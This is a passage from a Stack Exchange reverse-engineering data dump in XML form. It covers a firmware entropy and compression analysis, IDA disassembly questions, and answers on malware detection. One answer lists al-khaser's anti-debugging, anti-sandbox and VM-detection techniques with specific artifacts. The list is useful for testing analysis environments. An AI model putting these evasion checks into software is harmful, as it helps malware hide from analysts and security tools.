data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entropy plot generated by &lt;code&gt;binwalk&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fOwM5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOwM5.png&quot; alt=&quot;entropy plot&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plot above suggests the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;High entropy beginning at offset 0x00 rather than further into the file means that there is no clearly discernible file header structure, which is unusual.&lt;/li&gt;&#xA;&lt;li&gt;The entropy line is rough rather than flat, suggesting compression rather than encryption. The rough line is a reflection of the non-uniform structure of the file hinted at by the diff of &lt;code&gt;firmware.BIN&lt;/code&gt; and &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt;. Certain blocks within the file have lower entropy than others.&lt;/li&gt;&#xA;&lt;li&gt;The precipitous drop in entropy at offset ~60000 (decimal) is indicative of a block of very low-entropy bytes at the end of the file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Juxtaposition of visualizations of &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; with the Linux utility &lt;code&gt;ls&lt;/code&gt; using &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt; supports the above suggestions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ________ NGA_FW_CURRENT.BIN _______   ________________ ls _______________ &#xA;|                                   | |                                   |&#xA;v                                   v v                                   v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SBbnk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SBbnk.png&quot; alt=&quot;file structure visualization&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kg9Lq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kg9Lq.png&quot; alt=&quot;file entropy visualization&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zZ36Y.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZ36Y.png&quot; alt=&quot;ls structure&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mNJOG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNJOG.png&quot; alt=&quot;ls entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ^         ^          ^                ^                  ^&#xA;        |         |          |                |                  |&#xA;        |     small area     |             obvious          low  entropy&#xA;        |      of low        |            structures         throughout  &#xA;        |      entropy       |                                  file&#xA;        |               high entropy&#xA;   No structure        throughout file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see, the visualization of the structure of &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; looks like white noise and has high entropy throughout, whereas &lt;code&gt;ls&lt;/code&gt; has clear structures (ELF header, sections) and comparatively low entropy throughout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional evidence indicating compression rather than encryption is the absence of encryption/decryption libraries and routines from the ARM ELF32 binary &lt;code&gt;FWLoader&lt;/code&gt;, whose purpose is to load the device firmware during boot (see below).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Is NGA_FW_CURRENT.BIN a firmware image file?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The short answer is yes (probably). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most direct evidence of this is found in the POSIX shell script &lt;code&gt;S85_check_firmware&lt;/code&gt; in the system/rc3.d/ directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source code of &lt;code&gt;S85_check_firmware&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;cd /firmware&#xA;&#xA;#Since this script happens very early in the boot process we the opportunity to&#xA;#  tell the user we are actually still booting as opposed to the keypad showing it's default&#xA;# &quot;READY&quot; message.&#xA;ngautil -p &quot;CHECKINGFIRMWARE&quot;&#xA;&#xA;#This script checks the videx microchip firmware and reflashes it if necessary&#xA;&#xA;#the FWLoader program must be executable&#xA;#and the LBServer.ini file must exist&#xA;if [ -x ./FWLoader -a -e ./NGA_FW_CURRENT.BIN ]&#xA;then&#xA;&#xA;        #increment the number of checks&#xA;        echo checking &amp;gt;&amp;gt; checks.log&#xA;        NUM_CHECKS=`grep -c checking checks.log`&#xA;&#xA;        #don't do the FW check if we've already checked many times with this FW version.  This prevents&#xA;        #endless an endless cycle of firmware loading and rebooting in case the firmware file is corrupt&#xA;        if [ $NUM_CHECKS -lt 16 ]&#xA;        then&#xA;                echo &quot;Executing firmware check #$NUM_CHECKS&quot;&#xA;&#xA;                ./FWLoader NGA_FW_CURRENT.BIN&#xA;                #The above call to FWLoader will only attempt to load the firmware if the version in the chip&#xA;                #is lesser than in the file.  If the chip is already in boot-load mode (because fw loading was interrupted&#xA;                # previously) it will force loading of the firmware.&#xA;                #If fw is reloaded succesfully the device will be rebooted&#xA;                echo &quot;Firmware check complete&quot;&#xA;        else&#xA;                echo &quot;Firmware checking skipped (has already been checked $NUM_CHECKS times)&quot;&#xA;        fi&#xA;else&#xA;        echo &quot;Firmware check skipped (missing FWLoader or NGA_FW_CURRENT.BIN)&quot;&#xA;fi &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;FWLoader&lt;/code&gt; generally &quot;will only attempt to load the firmware if the version in the chip is lesser than in the file&quot;, the file in this case being &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt;, the key to decompressing &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; must lie somewhere in &lt;code&gt;FWLoader&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the &lt;code&gt;.rodata&lt;/code&gt; section of &lt;code&gt;FWLoader&lt;/code&gt; is analyzed, a clue is discovered almost immediately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hex dump of section '.rodata':&#xA;  0x000123cc 01000200 4e474120 4669726d 77617265 ....NGA Firmware&#xA;  0x000123dc 204c6f61 64657220 7625730a 00000000  Loader v%s.....&#xA;  0x000123ec 322e3000 55736167 653a205b 2d2d666f 2.0.Usage: [--fo&#xA;  0x000123fc 7263655d 203c7061 74682074 6f206669 rce] &amp;lt;path to fi&#xA;  0x0001240c 726d7761 72652066 696c653e 0a000000 rmware file&amp;gt;....&#xA;  0x0001241c 4e6f7465 3a206669 726d7277 61726520 Note: firmrware &#xA;  0x0001242c 66696c65 206d7573 74206265 20707265 file must be pre&#xA;  0x0001243c 70656e64 65642077 69746820 76657273 pended with vers&#xA;  0x0001244c 696f6e20 62797465 20616e64 20342062 ion byte and 4 b&#xA;  0x0001245c 79746520 43524320 61732069 74206170 yte CRC as it ap&#xA;  0x0001246c 70656172 7320696e 204c4254 6573742e pears in LBTest.&#xA;  0x0001247c 696e690a 00000000 4661696c 65642074 ini.....Failed t&#xA;  0x0001248c 6f207265 61642063 68697020 6669726d o read chip firm&#xA;  0x0001249c 77617265 20766572 73696f6e 2e202853 ware version. (S&#xA;  0x000124ac 7475636b 20696e20 626f6f74 6c6f6164 tuck in bootload&#xA;  0x000124bc 206d6f64 653f290a 00000000 63526561  mode?).....cRea&#xA;                     &amp;lt; output snipped &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;Note: firmrware[sic] file must be prepended with &lt;strong&gt;version byte and 4 byte CRC&lt;/strong&gt; as it appears in LBTest.&quot; (side note: on the download website for the &lt;code&gt;authorizer.tar.gz&lt;/code&gt; that all of these files were extracted from, the version number was given as 37.3.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That basically gives it away. I'll post an update if/when I isolate the actual decompression code.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-03-05T09:37:50.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14833" PostTypeId="2" ParentId="14814" CreationDate="2017-03-06T08:41:38.210" Score="1" Body="&lt;p&gt;As far as I can see this &lt;code&gt;mov     al, [ebp+var_22C]&lt;/code&gt; command works with 8 bit data (according to name &lt;code&gt;al&lt;/code&gt;), and there is a possibility that this &lt;code&gt;var_22C&lt;/code&gt; variable is assigned as a part of bigger entity, for example as dword, which will require different offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest to watch to stack accesses around this offset, specifically ,as @Igor Skochinsky says in comment, in a code related to &lt;code&gt;Buffer&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-03-06T09:43:41.223" LastActivityDate="2017-03-06T09:43:41.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14834" PostTypeId="2" ParentId="14785" CreationDate="2017-03-06T18:42:43.720" Score="0" Body="&lt;p&gt;You can find a lot of resources about the internals of &lt;code&gt;zwQueryInformationProcess&lt;/code&gt; because that information is undocumented. As nordwald said, detecting malware with &lt;code&gt;zwQueryInformationProcess&lt;/code&gt; is possible, and more so in several ways but I would like to focus on something slightly different for this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general task of detecting malware in a process is usually pretty complex, specially when you aim to perform it generically and for multiple malware families. There are books about the topic and articles upon articles on related subjects. There are dozens if not hundreds of techniques malware can avoid detection, bypass protections and prevent analysis. There are multiple ways to avoid or mitigate most of those tricks and successfully detect malware samples that employ them. There's a huge market for malware detection with dozens of products attempting to detect and block viruses. Some would say that industry is falling behind of malware writers and it is generally quite feasible to make a malware FUD (fully undetected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a huge domain with a lot of written material and aggregated knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detecting malware is &lt;em&gt;not&lt;/em&gt; something you could do with something as simple as using raw data instead of calling an API. Companies fail at doing that after investing millions of dollars, and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not aim to discourage you from pursuing that or similar goals, I do however think you should make some effort at reading existing material to quickly further your understanding of the malware and anti-virus world, good luck!&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-06T18:42:43.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14835" PostTypeId="1" CreationDate="2017-03-06T19:11:23.163" Score="4" ViewCount="2853" Body="&lt;p&gt;I have to write an &lt;code&gt;IDAPython&lt;/code&gt; script and I came across many false positives in IDA's function/code/data recognition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case 1 - Invalid function's end (rpcrt4.dll):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some DLLs (especially in rpcrt4.dll) IDA recognize indirect/dereference calls as function's end and then misidentifies the next instructions (IDA's &lt;code&gt;no-return&lt;/code&gt; kernel analysis flag is of course disabled so it is not the problem). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (the unknown data is a valid &lt;code&gt;jmp&lt;/code&gt; instruction):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3LrFm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LrFm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case 2 - Data in &lt;code&gt;.text&lt;/code&gt; section is identified as code (ExplorerFrame.dll):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of Microsoft's DLLs are compiled with data at the beginning of the &lt;code&gt;.text&lt;/code&gt; section and IDA successfully identifies it as data. However, sometimes IDA fail to treat these &lt;code&gt;heads&lt;/code&gt; as data and treats them like code (my guess is that it has something to do with the misidentified &lt;code&gt;ret&lt;/code&gt; instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LVEvs.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LVEvs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case 3 - code &lt;em&gt;inside&lt;/em&gt; a function is identified as &lt;em&gt;data&lt;/em&gt; (mimeTools.dll)&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This case is a little bit weird because I don't see any reason to make this mistake. As you can clearly see IDA identifies code as data &lt;strong&gt;inside&lt;/strong&gt; the function (the misidentified code is a lea instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wOWCL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOWCL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case 4 - mixed misidentified code (igc32.dll):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to elaborate, in the following example it should be all code but it gets identified as data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lE62S.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lE62S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FWEwn.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWEwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So obviously my question is: did anyone experience one of these problem's before and know a possible fix to some of these problems? I need a solution that don't involve human interaction and can be applied using an IDAPython script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="17202" LastActivityDate="2017-03-11T02:38:27.697" Title="IDA - Some issues regarding function's/data/code recognition" Tags="|ida|disassembly|debugging|idapython|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14836" PostTypeId="2" ParentId="14835" CreationDate="2017-03-06T19:28:10.273" Score="2" Body="&lt;p&gt;Disassembling an executable is &lt;em&gt;hard&lt;/em&gt;. It is especially hard for machines to detect edge cases and similar nuances about small portions of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something IDA (and any other complete disassembler) puts a lot of effort into, but based on design decisions and heuristics used in different disassemblers, results vary. IDA has seen a consistent improvement in addressing such as similar issues throughout version updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is however unrealistic to find and properly address all such cases, so these issues are prominent and are usually addresses manually or in a semi-manual manner. I bet there are plenty of plugins and scripts similar to &lt;a href=&quot;https://github.com/nihilus/IDA_Extrapass&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extrapass&lt;/a&gt; but perhaps better maintained. You're also encouraged to create one yourself, that addresses the issues you encounter.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-06T19:28:10.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14837" PostTypeId="2" ParentId="14814" CreationDate="2017-03-06T20:18:35.043" Score="2" Body="&lt;p&gt;probably the &lt;code&gt;Buffer&lt;/code&gt; variable is accessed indirectly by one of the called functions and &lt;code&gt;var_22C&lt;/code&gt; is actually part of the buffer.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-06T20:18:35.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14838" PostTypeId="2" ParentId="1686" CreationDate="2017-03-06T22:11:30.490" Score="3" Body="&lt;p&gt;Here is a collection of anti-sandbox/vm/debugger techniques implemented in a open source program which will give you a clear idea how to detect virtualization: &lt;a href=&quot;https://github.com/LordNoteworthy/al-khaser&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/LordNoteworthy/al-khaser&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the list of supported techniques:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Anti-debugging attacks&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IsDebuggerPresent&lt;/li&gt;&#xA;&lt;li&gt;CheckRemoteDebuggerPresent&lt;/li&gt;&#xA;&lt;li&gt;Process Environement Block (BeingDebugged)&lt;/li&gt;&#xA;&lt;li&gt;Process Environement Block (NtGlobalFlag)&lt;/li&gt;&#xA;&lt;li&gt;ProcessHeap (Flags)&lt;/li&gt;&#xA;&lt;li&gt;ProcessHeap (ForceFlags)&lt;/li&gt;&#xA;&lt;li&gt;NtQueryInformationProcess (ProcessDebugPort)&lt;/li&gt;&#xA;&lt;li&gt;NtQueryInformationProcess (ProcessDebugFlags)&lt;/li&gt;&#xA;&lt;li&gt;NtQueryInformationProcess (ProcessDebugObject)&lt;/li&gt;&#xA;&lt;li&gt;NtSetInformationThread (HideThreadFromDebugger)&lt;/li&gt;&#xA;&lt;li&gt;NtQueryObject (ObjectTypeInformation)&lt;/li&gt;&#xA;&lt;li&gt;NtQueryObject (ObjectAllTypesInformation)&lt;/li&gt;&#xA;&lt;li&gt;CloseHanlde (NtClose) Invalide Handle&lt;/li&gt;&#xA;&lt;li&gt;SetHandleInformation (Protected Handle)&lt;/li&gt;&#xA;&lt;li&gt;UnhandledExceptionFilter&lt;/li&gt;&#xA;&lt;li&gt;OutputDebugString (GetLastError())&lt;/li&gt;&#xA;&lt;li&gt;Hardware Breakpoints (SEH / GetThreadContext)&lt;/li&gt;&#xA;&lt;li&gt;Software Breakpoints (INT3 / 0xCC)&lt;/li&gt;&#xA;&lt;li&gt;Memory Breakpoints (PAGE_GUARD)&lt;/li&gt;&#xA;&lt;li&gt;Interrupt 0x2d&lt;/li&gt;&#xA;&lt;li&gt;Interrupt 1&lt;/li&gt;&#xA;&lt;li&gt;Parent Process (Explorer.exe)&lt;/li&gt;&#xA;&lt;li&gt;SeDebugPrivilege (Csrss.exe)&lt;/li&gt;&#xA;&lt;li&gt;NtYieldExecution / SwitchToThread&lt;/li&gt;&#xA;&lt;li&gt;TLS callbacks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Anti-Dumping&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Erase PE header from memory&lt;/li&gt;&#xA;&lt;li&gt;SizeOfImage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Timing Attacks [Anti-Sandbox]&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RDTSC (with CPUID to force a VM Exit)&lt;/li&gt;&#xA;&lt;li&gt;RDTSC (Locky version with GetProcessHeap &amp;amp; CloseHandle)&lt;/li&gt;&#xA;&lt;li&gt;Sleep -&gt; SleepEx -&gt; NtDelayExecution&lt;/li&gt;&#xA;&lt;li&gt;Sleep (in a loop a small delay)&lt;/li&gt;&#xA;&lt;li&gt;Sleep and check if time was accelerated (GetTickCount)&lt;/li&gt;&#xA;&lt;li&gt;SetTimer (Standard Windows Timers)&lt;/li&gt;&#xA;&lt;li&gt;timeSetEvent (Multimedia Timers)&lt;/li&gt;&#xA;&lt;li&gt;WaitForSingleObject -&gt; WaitForSingleObjectEx -&gt; NtWaitForSingleObject&lt;/li&gt;&#xA;&lt;li&gt;WaitForMultipleObjects -&gt; WaitForMultipleObjectsEx -&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Human Interaction / Generic [Anti-Sandbox]&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mouse movement&lt;/li&gt;&#xA;&lt;li&gt;Total Physical memory (GlobalMemoryStatusEx)&lt;/li&gt;&#xA;&lt;li&gt;Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)&lt;/li&gt;&#xA;&lt;li&gt;Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)&lt;/li&gt;&#xA;&lt;li&gt;Count of processors (Win32/Tinba - Win32/Dyre)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Anti-Virtualization / Full-System Emulation&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Registry key value artifacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\Description\System (SystemBiosVersion) (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\Description\System (SystemBiosVersion) (QEMU)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\Description\System (SystemBiosDate) (06/23/99)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Registry Keys artifacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;HARDWARE\ACPI\DSDT\VBOX__&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;HARDWARE\ACPI\FADT\VBOX__&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;HARDWARE\ACPI\RSDT\VBOX__&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SOFTWARE\Oracle\VirtualBox Guest Additions&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SYSTEM\ControlSet001\Services\VBoxGuest&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SYSTEM\ControlSet001\Services\VBoxMouse&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SYSTEM\ControlSet001\Services\VBoxService&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SYSTEM\ControlSet001\Services\VBoxSF&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;SYSTEM\ControlSet001\Services\VBoxVideo&quot;&lt;/li&gt;&#xA;&lt;li&gt;SOFTWARE\VMware, Inc.\VMware Tools&lt;/li&gt;&#xA;&lt;li&gt;SOFTWARE\Wine&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;File system artifacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;system32\drivers\VBoxMouse.sys&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\drivers\VBoxGuest.sys&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\drivers\VBoxSF.sys&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\drivers\VBoxVideo.sys&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxdisp.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxhook.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxmrxnp.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxogl.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglarrayspu.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglcrutil.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglerrorspu.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglfeedbackspu.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglpackspu.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxoglpassthroughspu.dll&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxservice.exe&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\vboxtray.exe&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\VBoxControl.exe&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\drivers\vmmouse.sys&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;system32\drivers\vmhgfs.sys&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Directories artifacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;%PROGRAMFILES%\oracle\virtualbox guest additions\&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;%PROGRAMFILES%\VMWare\&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory artifacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Interupt Descriptor Table (IDT) location&lt;/li&gt;&#xA;&lt;li&gt;Local Descriptor Table (LDT) location&lt;/li&gt;&#xA;&lt;li&gt;Global Descriptor Table (GDT) location&lt;/li&gt;&#xA;&lt;li&gt;Task state segment trick with STR&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;MAC Address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;\x08\x00\x27&quot; (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;&quot;\x00\x05\x69&quot; (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;&quot;\x00\x0C\x29&quot; (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;&quot;\x00\x1C\x14&quot; (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;&quot;\x00\x50\x56&quot; (VMWARE)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Virtual devices&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;\\.\VBoxMiniRdrDN&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\VBoxGuest&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\pipe\VBoxMiniRdDN&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\VBoxTrayIPC&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\pipe\VBoxTrayIPC&quot;)&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\HGFS&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;\\.\vmci&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hardware Device information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE) &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;QEMU&lt;/li&gt;&#xA;&lt;li&gt;VMWare&lt;/li&gt;&#xA;&lt;li&gt;VBOX&lt;/li&gt;&#xA;&lt;li&gt;VIRTUAL HD&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Adapter name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VMWare&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Windows 